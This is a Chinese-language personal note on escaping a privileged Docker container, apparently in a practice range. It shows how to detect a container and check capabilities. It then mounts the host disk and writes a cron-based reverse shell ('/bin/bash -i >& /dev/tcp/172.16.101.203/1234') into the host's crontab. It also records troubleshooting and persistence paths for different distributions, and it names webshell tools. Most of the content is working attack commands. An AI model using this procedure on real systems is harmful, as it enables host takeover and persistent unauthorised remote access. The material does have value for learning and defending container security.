笔记:
1、判断是否是docker环境
方法一:
查看根目录下是否存在.dockerenv文件 或者.docker文件夹(文件夹下存在config.json)
docker环境下:ls -alh /.dockerenv
非docker环境,没有.dockerenv文件
方法二:
ps -aux #docker环境下进程比较少
方法三:
ip addr #docker环境下查看ip
ipconfig/ifconfig #正常主机查看ip
方法四:
cat /proc/1/cgroup 是否存在docker相关信息
docker环境:
主机:
2、查看当前容器是否是特权容器
cat /proc/1/status | grep Cap
查询的值是0000000xffffffff,可以说明当前容器是特权容器。
3、fdisk -l 查看磁盘挂载情况,发现宿主机设备为/dev/sda1
4、挂载
mkdir /mb
mount /dev/sda1 /mb
失败,且目前没找到原因 ,进入靶场容器内执行可成功,猜测是工具重定向问题,然而,哥斯拉,蚁剑,冰蝎皆不能切换成功,又猜测是不能重启一个终端,工具做不到交互的原因。决定曲线救国,
写入计划命令,反弹至个人主机
echo '* * * * * /bin/bash -i >& /dev/tcp/172.16.101.203/1234 0>&1' >> /mb/etc/crontab
cat /mb/etc/crontab
写入成功,然而未执行,,,,再换
本地上传shell.sh
然后复制到/mb目录下
cp shell.sh /mb/
chmod +x /mb/shell.sh
执行
/bin/bash /mb/shell.sh
失败,依然是不能连接,
暂时不知道为什么,解决不掉,等找到原因再编辑吧
过了一天了,记录一下解决方案:
还是之前的计划命令:
路径为/var/spool/cron/crontabs/root,需要具体到用户:
(直接编辑/var/spool/cron/crontabs/root文件设置root的计划任务是无法成功的,因为文件的权限不是0600。设置的时候尽量使用crontab -e命令,如果不能就给0600权限)
chmod 0600 /var/spool/cron/crontabs/root 给root用户增加可执行权限
echo '* * * * * /bin/bash /shell.sh' >>/mb/var/spool/cron/crontabs/root #之前一直写入的路径为/mb/shell.sh,忽略了主机内部执行时实际上并不需要我们挂载创建的文件夹/mb这个路径
补充说明:
/etc/cron.d与/etc/crontab文件夹下可以直接写计划任务,不需要特殊权限即可执行,但是一定要加上username字段。
举例:
echo '* * * * * root /bin/bash /shell.sh'>> /mb/etc/cron.d/shell
补充一下:
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
参考文档: